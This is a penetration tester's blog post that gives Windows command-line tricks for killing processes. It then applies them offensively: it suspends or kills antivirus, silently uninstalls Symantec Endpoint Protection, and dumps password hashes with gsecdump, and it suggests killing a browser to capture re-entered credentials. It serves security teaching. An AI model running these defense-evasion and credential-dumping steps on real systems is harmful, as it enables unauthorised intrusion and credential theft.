Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Wendel's Small Hacking Tricks - Killing Processes from the Microsoft Windows Command Line interface.

Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the second post in the "Wendel's Small Hacking Tricks" series and will explain different ways to kill applications and processes from the Microsoft Windows command line interface. The first post in the series discussed methods of hacking Microsoft SQL Server.

*** How to use PsKill.exe ***

PsKill is probably the oldest and most common method of killing processes via Microsoft Windows Command Line. Mark Russinovich from Sysinternals developed the tool a long time ago, and now both Mark and the tool are part of Microsoft. The very first step is to execute the tool with the "-accepteula" option so you are actually able to use it.

c:\> pskill -accepteula

Now we are good to kill any processes by passing the PID number as an argument to PsKill.

c:\> pskill $PID-Number

Replace "$PID-Number" with your target Process ID. If you want to list the available processes that can be killed you may use "pslist.exe" command that has been developed by the same person. Don't forget to use the "-accepteula" first.

*** How to kill a Microsoft Windows process via command-line WITHOUT pskill.exe ***

Modern versions of Microsoft Windows come with the built-in "taskkill" command, which makes killing a process very simple:

C:\> taskkill -pid $PID-Number /T /F

Replace "$PID-Number" with your target Process ID. If you want to kill a process by name you should execute:

C:\> taskkill -im "$Process-Name" /T /F

You can also replace "$Process-Name" with a process name such as iexplore.exe to close Internet Explorer and force current user to open it again and insert their credentials on a website that you are targeting or monitoring.

*** How to use ProcessHacker via command-line ***

You can also use a nifty tool called ProcessHacker to kill and suspend processes (see http://processhacker.sourceforge.net). I often use it to kill or suspend the Antivirus process and bypass it. :)

c:\> ProcessHacker.exe -c -ctype process -cobject $PID-Number -caction terminate

You may also suspend it as demonstrated below:

c:\> ProcessHacker.exe -c -ctype process -cobject $PID-Number –caction suspend

As a penetration tester, I often need to find a way to bypass AntiVirus, kill Antivirus is one of the methods that may or may not work, so, before waste a lot of time trying to kill your target Antivirus just check for common methods provided to disable and uninstall it.

Just as a bonus I will show how an Antivirus prevented me from dump password hashes even with SYSTEM privilege on a Windows 7.

C:\Windows\Temp>wce32.exe -w

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)

Use -h for help.

ERROR: Cannot find dependencies


C:\Windows\Temp>gsecdump.exe -a

compat: error: failed to create child process


I tried to extract password hashes from this box and it failed. Checking process list I found that SEP (Symantec Endpoint Protection) is installed and it's likely to be the issue.

Just uninstall the product as described on the online documentation.

First, list the product code:

C:\Windows\Temp>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ /s


AuthorizedCDFPrefix REG_SZ

Comments REG_SZ

Contact REG_SZ

DisplayVersion REG_SZ 12.1.2015.2015

HelpLink REG_SZ

HelpTelephone REG_SZ

InstallDate REG_SZ 20130409

InstallLocation REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\

InstallSource REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.671.4971.105\Bin64\SmcLU\Setup\

ModifyPath REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}

Publisher REG_SZ Symantec Corporation

Readme REG_SZ


EstimatedSize REG_DWORD 0x9e186

SystemComponent REG_DWORD 0x0

UninstallString REG_EXPAND_SZ MsiExec.exe /I{C2103AF2-E66C-446B-9791-9207840EC821}


URLUpdateInfo REG_SZ

VersionMajor REG_DWORD 0xc

VersionMinor REG_DWORD 0x1

WindowsInstaller REG_DWORD 0x1

Version REG_DWORD 0xc0107df

Language REG_DWORD 0x409

DisplayName REG_SZ Symantec Endpoint Protection

DisplayIcon REG_SZ C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\12.1.2015.2015.105\Bin\SymCorpUI.exe

With the product code, let's call MsiExec.exe to uninstall it. This tool is a Microsoft application that handles installation, modification and removal on Windows Installer.

C:\Windows\Temp>MsiExec.exe /norestart /q/x{C2103AF2-E66C-446B-9791-9207840EC821} REMOVE=ALL /lv!* c:\uninstallSPL.txt

The command above tries to uninstall SEP by its product code from command-line and store the results at a file. Wait a few seconds and keep checking for the created file.

C:\>dir c:\*SPL*.*

Volume in drive C has no label.

Volume Serial Number is D0CD-97E0

Directory of c:\

03/21/2014 12:11 PM 5,378,910 uninstallSPL.txt

1 File(s) 5,378,910 bytes

0 Dir(s) 53,107,503,104 bytes free


Looking at the log a few minutes later I confirmed that SEP was uninstalled and now dump password hashes worked.

C:\Windows\Temp>gsecdump.exe -a



There are cases where a password is required, but you may also try disabling it from registry, and so on. I just used the dump password hashes as a example, there are ways easier to do it, for example dump LSASS process from memory and recover the credentials offline, etc.

I hope you have enjoyed these simple, yet very useful tips.

Stay tuned for more Wendel's Small Hacking Tricks.